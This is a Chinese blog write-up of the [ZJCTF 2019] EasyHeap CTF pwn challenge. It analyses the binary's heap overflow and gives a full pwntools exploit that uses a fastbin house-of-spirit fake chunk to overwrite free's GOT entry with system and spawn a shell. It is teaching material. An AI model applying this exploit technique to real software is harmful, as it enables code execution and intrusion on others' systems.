首页 > 其他分享 >【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击,house of spirit

【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击,house of spirit

时间:2023-12-21 22:55:39浏览次数:27  
标签:str ZJCTF house chunk EasyHeap edit io recvuntil size

首先查看一下附件的保护情况

可以看到,got表是可修改的状态

接着看主函数的逻辑

非常典型的菜单题,接着分析每一个函数的作用

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);      // 往堆中读入数据
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

这个是creat函数,其实就是创建堆的操作,然后将堆的地址存入heaparray的数组之中

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  size_t v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

这个edit函数,可以根据索引,修改堆中的内容,我们可以发现这个修改的size是可以自己重新输入,所以存在堆溢出的漏洞

接着再来看delete函数

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( (unsigned int)v1 >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里free之后,指针置0,不存在uaf

然后主函数中还有一个函数

int l33t()
{
  return system("cat /home/pwn/flag");
}

这道题应该本来是要用unsortedbin打的,但是buuctf平台出现了问题,导致这个方法打不通,关于unsortedbin的方法:好好说话之Unsorted Bin Attack_unsortedbin attack范围-CSDN博客

然后这道题还有house of spirit的打法,以下主要分析这种打法,关于house of spirit打法的资料:好好说话之Fastbin Attack(2):House Of Spirit_fastbin attack house of spirit-CSDN博客

这里我先来介绍一下本题的思路,首先创建三个chunk,分别为0,1,2,然后我们free(2),chunk2就会进入fastbins中,然后我们再通过edit函数编辑chunk1,通过堆溢出覆盖chunk2的fd指针(fd指针表示下一个可用的chunk的指针),将fd指针修改成fake_chunk,这个fake_chunk的内容等下会分析,首先得有这个思路,然后这个fake_chunk得要能绕过malloc函数的检查,随后我们malloc两次,第二次就能将这个fake_chunk创建出来,创建出来之后,我们就可以通过edit函数进行编辑这个fake_chunk

现在我根据exp,一步步分析

from pwn import * context(os='linux',arch='amd64',log_level='debug') #io=remote("node4.buuoj.cn",25868) io=process("./easyheap") elf=ELF("./easyheap")
def debug():     gdb.attach(io)     pause()
def creat(size,content):     io.recvuntil(b"Your choice :")     io.sendline(str(1))     io.recvuntil(b"Size of Heap : ")     io.send(str(size))     io.recvuntil(b"Content of heap:")     io.send(content)     io.recvuntil(b"SuccessFul\n")
def delete(index):     io.recvuntil(b"Your choice :")     io.sendline(str(3))     io.recvuntil(b"Index :")     io.send(str(index))     io.recvuntil("Done !\n")    
def edit(index,size,content):     io.recvuntil(b"Your choice :")     io.sendline(str(2))     io.recvuntil(b"Index :")     io.send(str(index))     io.recvuntil(b"Size of Heap : ")     io.send(str(size))     io.recvuntil(b"Content of heap : ")     io.send(content)     io.recvuntil(b"Done !") 首先便是定义好各个函数对应的功能函数,方便后面的调用,然后我们创建三个堆块,然后再free掉第三个堆块 creat(0x60,b"aaaa") creat(0x60,b"aaaa") creat(0x60,b"aaaa") delete(2) 我们debug看一下 可以很清楚地看到,创建了三个chunk,并且第三个chunk已经被free,fd指针置0,可以输入fastbin查看 接下来我们往第2个chunk中写入数据,需要堆溢出到chunk2(第三个chunk)中 payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad) edit(1,len(payload),payload) 这个payload写入完,chunk2的fd指针被置成0x6020ad,然后就是chunk2的size被置成0x71,这里最主要的是0x6020ad这个地址的选择,这个地址即是我们的fake_chunk的地址,需要在heaparray数组附近,至于为什么在这个附件,根据后面的exp就懂了。 我们先来看一下heaparray数组附件的数据 发现heaparray数组上面有7f这个数据,再想起我们创建的chunk大小实际都是0x70,如果7f这个作为我们fake_chunk的size位的话,刚好可以绕过检查 查看0x6020ad的数据,发现刚好形成一个fake_chunk的结构,size位置成7f 上面的代码执行完,我们可以继续debug看一下 可以很清楚的看到第3个chunk的fd指针已经置成我们fake_chunkd的地址,前两个因为还没free,他们的fd暂时还是data数据 那我们此时再malloc一次,就会把原先的chunk2还给我们,那如果我们再malloc一次呢?显然,就会把fake_chunk分配给我们,此时,fake_chunk在我们heaparray数组的索引是3, creat(0x60,b"aaaa") creat(0x60,b"aaaa") payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2) 当我们edit我们这个fake_chunk时,其实就是从heaparray的上方地址开始写入数据,那我们可以利用堆溢出,将heaparray[0]的内容修改成free_got表地址,heaparray地址为0x6020E0,我们fake_chunk数据段的地址为0x6020bd,0xe0-0xbd=0x23 payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
delete(1) io.interactive() 此时heaparray[0]处已经时free_got表地址,我们edit(0)时,相当于修改free_got表的内容,此时我们将free_got表的内容修改成systemd的plt表,等到下次调用free函数时,相当于调用system函数,尝试就是chunk0的内容,即时/bin/sh,即可达到getshell的效果 完整exp如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io=remote("node4.buuoj.cn",25868)
io=process("./easyheap")
elf=ELF("./easyheap")

def debug():
    gdb.attach(io)
    pause()

def creat(size,content):
    io.recvuntil(b"Your choice :")
    io.sendline(str(1))
    io.recvuntil(b"Size of Heap : ")
    io.send(str(size))
    io.recvuntil(b"Content of heap:")
    io.send(content)
    io.recvuntil(b"SuccessFul\n")

def delete(index):
    io.recvuntil(b"Your choice :")
    io.sendline(str(3))
    io.recvuntil(b"Index :")
    io.send(str(index))
    io.recvuntil("Done !\n")

def edit(index,size,content):
    io.recvuntil(b"Your choice :")
    io.sendline(str(2))
    io.recvuntil(b"Index :")
    io.send(str(index))
    io.recvuntil(b"Size of Heap : ")
    io.send(str(size))
    io.recvuntil(b"Content of heap : ")
    io.send(content)
    io.recvuntil(b"Done !")

creat(0x60,b"aaaa")
creat(0x60,b"aaaa")
creat(0x60,b"aaaa")
delete(2)
#debug()
payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
print("su!!!")
#debug()
creat(0x60,b"aaaa")
creat(0x60,b"aaaa")
payload2=b'A'*0x23+p64(elf.got["free"])

edit(3,len(payload2),payload2)

payload3=p64(elf.plt["system"])

edit(0,len(payload3),payload3)

delete(1)
io.interactive()
     

标签:str,ZJCTF,house,chunk,EasyHeap,edit,io,recvuntil,size
From: https://www.cnblogs.com/GGbomb/p/17920232.html

相关文章

  • 「从ES到CK 06」clickhouse的数据可视化工具clickvisual
    导航在完成将公司日志数据从Elasticsearch(下称ES)转战到Clickhouse后,个人认为有必要将过程记录分享。限于篇幅及便于分类组织,我会以一个系列文章的形式记录:01《ElasticsearchvsClickhouse》02《Clickhouse的基础知识扫盲》03《Clickhouse多分片多副本集群部署》04《Clic......
  • 火山引擎ByteHouse基于云原生架构的实时导入探索与实践
    更多技术交流、求职机会,欢迎关注字节跳动数据平台微信公众号,回复【1】进入官方交流群随着企业降本增效、智能化数据决策需求的增强,传统的商业数据库已经难以满足和响应快速增长的业务诉求。在此背景下,云原生数据库成为大势所趋。云原生数据库基于云平台构建、部署和分发,具有高可用......
  • ClickHouse单节点安装配置
    1、从宿主机/opt目录下将clickhouse开头的相关文件复制到容器Master中的/opt/module/clickhouse路径中(若路径不存在,则需新建),将全部解压命令复制并粘贴至客户端桌面【Release\任务A提交结果.docx】中对应的任务序号下;#从宿主机复制文件到容器Masterdockercp/opt/clickhouse......
  • 「从ES到CK 04」Clickhouse表引擎选择和表结构设计
    导航在完成将公司日志数据从Elasticsearch(下称ES)转战到Clickhouse后,个人认为有必要将过程记录分享。限于篇幅及便于分类组织,我会以一个系列文章的形式记录:01《ElasticsearchvsClickhouse》02《Clickhouse的基础知识扫盲》03《Clickhouse多分片多副本集群部署》04《Clic......
  • ClickHouse(18)ClickHouse集成ODBC表引擎详细解析
    目录创建表用法示例资料分享参考文章ODBC集成表引擎使得ClickHouse可以通过ODBC方式连接到外部数据库.为了安全地实现ODBC连接,ClickHouse使用了一个独立程序clickhouse-odbc-bridge.如果ODBC驱动程序是直接从clickhouse-server中加载的,那么驱动问题可能会导致ClickHouse服......
  • 基于Lighthouse安装docker
    1.前言 在此之前小编通过各种方式介绍过自己通过服务器搭建的一些玩法,也写过一些教程,但是那些教程,现在回头来看,都是有些杂乱了,统一性不强。我就准备重新整理一下之前写的文章,并且准备重新开一个专题来写自己折腾的内容,专题的名字就叫-原来服务器这么有用。也希望大家多多提意......
  • clickhouse partition 设定分区
    clichouse会对数据分区存放,目的是为了在搜索时提高效率。除此之外,还可以用来维护磁盘使用空间。clickhouse并不适合从数据库按照条件查询删除数据,如果数据太多不定期清除,会把磁盘占满。clickhouse提供了ttl,用作设定数据库表的数据的生命周期,如果到了时间,就会删除数据。如果要删......
  • clickhouse materialized view 物化视图
    我们知道数据块中的view只是一个逻辑概念,为了便于写查询语句,把底层各个表的结构和字段隐藏,创建一个新的虚拟表,类似于查询语句,在这个结果上再编写新的语句。clickhouse提供了一个新的功能,materializedview,可以把一个view的数据存放到磁盘,实例化,而不仅仅是虚拟的逻辑。这个的好处......
  • 使用NineData,轻松完成阿里云RDS MySQL至ClickHouse数据迁移
    云数据库RDSMySQL和云数据库ClickHouse是阿里云推出的两个备受欢迎的数据库解决方案,它们为用户提供了可靠的数据存储方案、分析数仓方案,本文介绍如何快速将RDSMySQL的数据同步到云数据库ClickHouse。如何快速将RDSMySQL的数据同步到云数据库为什么要将RDSMySQL的......
  • [Clickhouse] Clickhouse 报SQLException : Read timed out
    1问题描述在使用Clickhouse(21.3.4.25)进行大数据量地数据查询,高频报出SQLException:Readtimedout错误2问题分析2.1单次查询:耗时约4s2.2并发20查询:报SQLExceptionReadtimeout,并发5查询:正常2.3整个SQL:查询业务逻辑复杂(多层嵌套、Join、200余行)2.4整个Query......